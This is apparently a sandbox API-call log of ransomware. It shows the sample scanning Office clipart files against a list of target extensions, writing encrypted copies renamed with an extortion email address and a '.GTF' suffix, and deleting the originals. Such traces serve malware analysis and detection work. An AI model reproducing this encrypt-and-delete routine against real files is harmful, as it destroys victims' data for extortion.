	[0081.509] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.509] SetEndOfFile (hFile=0x378) returned 1
	[0081.510] CloseHandle (hObject=0x378) returned 1
	[0081.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0081.510] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 1
	[0081.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0081.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0081.510] lstrlenW (lpString=".doc") returned 4
	[0081.511] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.511] lstrlenW (lpString=".docx") returned 5
	[0081.511] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.511] lstrlenW (lpString=".pdf") returned 4
	[0081.511] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.511] lstrlenW (lpString=".xls") returned 4
	[0081.511] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.511] lstrlenW (lpString=".xlsx") returned 5
	[0081.511] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.511] lstrlenW (lpString=".ppt") returned 4
	[0081.511] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0081.511] lstrlenW (lpString=".zip") returned 4
	[0081.511] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.511] lstrlenW (lpString=".rar") returned 4
	[0081.511] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.511] lstrlenW (lpString=".bz2") returned 4
	[0081.511] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.511] lstrlenW (lpString=".7z") returned 3
	[0081.511] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0081.511] lstrlenW (lpString=".dbf") returned 4
	[0081.511] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0081.511] lstrlenW (lpString=".1cd") returned 4
	[0081.511] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0081.511] lstrlenW (lpString=".jpg") returned 4
	[0081.511] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0081.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0081.511] lstrlenW (lpString=".doc") returned 4
	[0081.511] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.511] lstrlenW (lpString=".docx") returned 5
	[0081.512] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.512] lstrlenW (lpString=".pdf") returned 4
	[0081.512] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.512] lstrlenW (lpString=".xls") returned 4
	[0081.512] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.512] lstrlenW (lpString=".xlsx") returned 5
	[0081.512] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.512] lstrlenW (lpString=".ppt") returned 4
	[0081.512] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0081.512] lstrlenW (lpString=".zip") returned 4
	[0081.512] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.512] lstrlenW (lpString=".rar") returned 4
	[0081.512] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.512] lstrlenW (lpString=".bz2") returned 4
	[0081.512] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.512] lstrlenW (lpString=".7z") returned 3
	[0081.512] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0081.512] lstrlenW (lpString=".dbf") returned 4
	[0081.512] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0081.512] lstrlenW (lpString=".1cd") returned 4
	[0081.512] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0081.512] lstrlenW (lpString=".jpg") returned 4
	[0081.512] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.512] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0081.512] lstrlenW (lpString="AN04196_.WMF") returned 12
	[0081.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0081.513] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=3144) returned 1
	[0081.513] CloseHandle (hObject=0x378) returned 1
	[0081.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 0x220
	[0081.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0081.514] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.514] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0081.514] GetLastError () returned 0x0
	[0081.514] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0xc48, lpOverlapped=0x0) returned 1
	[0081.515] WriteFile (in: hFile=0x380, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xc50, lpOverlapped=0x0) returned 1
	[0081.516] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.516] WriteFile (in: hFile=0x380, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.516] SetEndOfFile (hFile=0x380) returned 1
	[0081.517] CloseHandle (hObject=0x380) returned 1
	[0081.517] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.517] SetEndOfFile (hFile=0x378) returned 1
	[0081.518] CloseHandle (hObject=0x378) returned 1
	[0081.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0081.519] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 1
	[0081.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0081.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0081.519] lstrlenW (lpString=".doc") returned 4
	[0081.519] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.519] lstrlenW (lpString=".docx") returned 5
	[0081.519] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.519] lstrlenW (lpString=".pdf") returned 4
	[0081.519] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.519] lstrlenW (lpString=".xls") returned 4
	[0081.519] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.519] lstrlenW (lpString=".xlsx") returned 5
	[0081.519] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.519] lstrlenW (lpString=".ppt") returned 4
	[0081.519] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0081.519] lstrlenW (lpString=".zip") returned 4
	[0081.519] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.519] lstrlenW (lpString=".rar") returned 4
	[0081.519] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.519] lstrlenW (lpString=".bz2") returned 4
	[0081.519] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.519] lstrlenW (lpString=".7z") returned 3
	[0081.519] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0081.519] lstrlenW (lpString=".dbf") returned 4
	[0081.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0081.520] lstrlenW (lpString=".1cd") returned 4
	[0081.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0081.520] lstrlenW (lpString=".jpg") returned 4
	[0081.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0081.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0081.520] lstrlenW (lpString=".doc") returned 4
	[0081.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.520] lstrlenW (lpString=".docx") returned 5
	[0081.520] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.520] lstrlenW (lpString=".pdf") returned 4
	[0081.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.520] lstrlenW (lpString=".xls") returned 4
	[0081.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.520] lstrlenW (lpString=".xlsx") returned 5
	[0081.520] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.520] lstrlenW (lpString=".ppt") returned 4
	[0081.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0081.520] lstrlenW (lpString=".zip") returned 4
	[0081.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.520] lstrlenW (lpString=".rar") returned 4
	[0081.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.520] lstrlenW (lpString=".bz2") returned 4
	[0081.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.520] lstrlenW (lpString=".7z") returned 3
	[0081.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0081.520] lstrlenW (lpString=".dbf") returned 4
	[0081.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0081.520] lstrlenW (lpString=".1cd") returned 4
	[0081.521] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0081.521] lstrlenW (lpString=".jpg") returned 4
	[0081.521] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.521] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0081.521] lstrlenW (lpString="AN04206_.WMF") returned 12
	[0081.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0081.521] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=7668) returned 1
	[0081.521] CloseHandle (hObject=0x378) returned 1
	[0081.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 0x220
	[0081.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0081.522] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.522] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0081.522] GetLastError () returned 0x0
	[0081.522] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x1df4, lpOverlapped=0x0) returned 1
	[0081.524] WriteFile (in: hFile=0x380, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x1e00, lpOverlapped=0x0) returned 1
	[0081.525] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.525] WriteFile (in: hFile=0x380, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.525] SetEndOfFile (hFile=0x380) returned 1
	[0081.525] CloseHandle (hObject=0x380) returned 1
	[0081.526] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.526] SetEndOfFile (hFile=0x378) returned 1
	[0081.527] CloseHandle (hObject=0x378) returned 1
	[0081.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0081.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 1
	[0081.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0081.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0081.528] lstrlenW (lpString=".doc") returned 4
	[0081.528] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.528] lstrlenW (lpString=".docx") returned 5
	[0081.528] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.528] lstrlenW (lpString=".pdf") returned 4
	[0081.528] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.528] lstrlenW (lpString=".xls") returned 4
	[0081.528] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.528] lstrlenW (lpString=".xlsx") returned 5
	[0081.528] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.528] lstrlenW (lpString=".ppt") returned 4
	[0081.528] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0081.528] lstrlenW (lpString=".zip") returned 4
	[0081.528] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.528] lstrlenW (lpString=".rar") returned 4
	[0081.528] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.528] lstrlenW (lpString=".bz2") returned 4
	[0081.528] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.528] lstrlenW (lpString=".7z") returned 3
	[0081.528] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0081.528] lstrlenW (lpString=".dbf") returned 4
	[0081.528] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0081.528] lstrlenW (lpString=".1cd") returned 4
	[0081.528] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0081.528] lstrlenW (lpString=".jpg") returned 4
	[0081.528] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0081.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0081.528] lstrlenW (lpString=".doc") returned 4
	[0081.528] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.529] lstrlenW (lpString=".docx") returned 5
	[0081.529] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.529] lstrlenW (lpString=".pdf") returned 4
	[0081.529] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.529] lstrlenW (lpString=".xls") returned 4
	[0081.529] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.529] lstrlenW (lpString=".xlsx") returned 5
	[0081.529] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.529] lstrlenW (lpString=".ppt") returned 4
	[0081.529] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0081.529] lstrlenW (lpString=".zip") returned 4
	[0081.529] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.529] lstrlenW (lpString=".rar") returned 4
	[0081.529] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.529] lstrlenW (lpString=".bz2") returned 4
	[0081.529] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.529] lstrlenW (lpString=".7z") returned 3
	[0081.529] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0081.529] lstrlenW (lpString=".dbf") returned 4
	[0081.529] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0081.529] lstrlenW (lpString=".1cd") returned 4
	[0081.529] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0081.529] lstrlenW (lpString=".jpg") returned 4
	[0081.529] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.529] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0081.529] lstrlenW (lpString="AN04225_.WMF") returned 12
	[0081.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0081.530] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=8492) returned 1
	[0081.530] CloseHandle (hObject=0x378) returned 1
	[0081.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 0x220
	[0081.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0081.530] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.530] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0081.531] GetLastError () returned 0x0
	[0081.531] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x212c, lpOverlapped=0x0) returned 1
	[0081.532] WriteFile (in: hFile=0x380, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x2130, lpOverlapped=0x0) returned 1
	[0081.533] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.533] WriteFile (in: hFile=0x380, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
